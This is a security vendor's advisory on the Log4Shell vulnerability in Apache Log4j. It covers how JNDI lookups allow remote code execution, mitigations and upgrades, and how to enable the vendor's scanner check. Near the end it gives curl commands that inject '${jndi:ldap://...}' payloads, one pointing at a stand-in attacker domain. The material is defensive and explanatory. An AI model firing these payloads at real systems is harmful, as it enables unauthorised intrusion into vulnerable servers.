Log4Shell: The Log4j vulnerability (CVE-2021-44228)

The Apache Log4j library is one of the most common libraries in the Java eco-system. Applications such as Elastic Stack, Apache Solr, VMWare, and many others depend on it. An exploit listed as CVE-2021-44228 was made public on December 9, 2021.

This exploit can lead to Remote Code Execution (RCE) which grants an attack full control over the server, completely remote, without authentication.

Update 22-12-2021 – A Security Module Has Been Added

As of today, Breachlock now offers a new security check in all modules to make sure your assets are protected from the Log4j vulnerability. In the following steps we’ll demonstrate how to configure your modules to include this vulnerability check and verify if there is a risk to your organization.

Enable Intrusive Scanning

As this is a very high-impact security issue, chances are that testing for it can disrupt a system. We do our best at Breachlock to make sure this will never happen, but just in case we disable any intrusive checks by default.

Navigate to the assets page of the corresponding module (pentest, API, web, etc.) and selecting the scan profile for the asset you wish to scan.

This will bring up a new window where you can select a scan profile. Be sure to set this to intrusive. By selecting the tool-tip icon you’ll get more information about the risks that come with enabling intrusive mode.

Review Vulnerabilities

On the Vulnerabilities page, if identified, you’ll find an entry for the Log4shell Vulnerable record. On the right-hand side there is an eye-shaped icon that will allow you to view more information around the vulnerability.

Once clicked, a more comprehensive screen will pop up providing you descriptions, mitigations, security ratings and more.

Finally, in the report, you’ll find proof of concepts of the vulnerability being exploited in a harmless manner, so that your development team can also reproduce it themselves.

Update 15-12-2021:

A new CVE (CVE-2021-45046) has been found within the same library, resulting in a less serious Denial-of-Service (DOS) attack in certain non-default configurations. If you are using Log4j 1.x you are not at risk.

If you are using Log4j 2.x implement one of the mitigation techniques below.

• Java 8 (or later) users should upgrade to release 2.16.0.
• Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
• Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note: that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

We advise updating all project dependencies and contacting all third-party vendors to see how they are dealing with the vulnerability.

For the latest security updates around Log4j, follow the Apache Security page.

Mitigating the vulnerability (CVE-2021-44228) – See the update

If possible, update log4j to version 2.15.0 which contains a patch. This includes calling with any third-party vendors to assure they have patched their services as well.

If this is not possible, consider the following mitigations:

1. In version 2.10.0 or higher add ‐Dlog4j2.formatMsgNoLookups=True to the JVM command for starting the application.
2. For version 7 up to and including 2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
3. For version 0-beta9 up to and including 2.10.0, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

How to Test for the Vulnerability

If you have an application that you suspect is vulnerable you can test for this by sending crafted JNDI injections as demonstrated in “How does the vulnerability work?”. We recommend you use a tool like https://interactsh.com/ to capture any requests leaving your network.

It is important that you check any possible requests/data input that can get logged by your application, such as headers, user agents, form data, etc.

An example query could look as follows:

curl 127.0.0.1:9000 -H 'X-Api-Version: ${jndi:ldap://random.interact.com/}'

How does the vulnerability work?

Log4J uses the Java Naming and Directory Interface (JNDI), an interface for applications to communicate with remote objects and services such as LDAP. Under the hood Log4J will perform DNS based lookups using JNDI. It is this functionality that introduces the vulnerability.

To demonstrate this vulnerability, take the following application that logs a special X-Api-Version header and logs this using log4j.

The intended behavior of the application is to display “Hello world!” to the client, while logging the API version that is provide in the X-Api-Version header.

A typical request would look as follows:

curl 127.0.0.1:9000 -H 'X-Api-Version: 1.0.0'

However, when injecting a JNDI payload it is possible to call out to a remote LDAP instance. The request would look something as follows:

curl 127.0.0.1:9000 -H 'X-Api-Version: ${jndi:ldap://attacker-controlled-domain/}'

JNDI will attempt a look up to a remote LDAP service. Since no service is hosted on this domain a “Connection refused” error will be thrown.

In the example payload we have connected to a remote service that is configured to listen for incoming DNS requests and will display any active lookups. If vulnerable the request should appear in the logs as follows.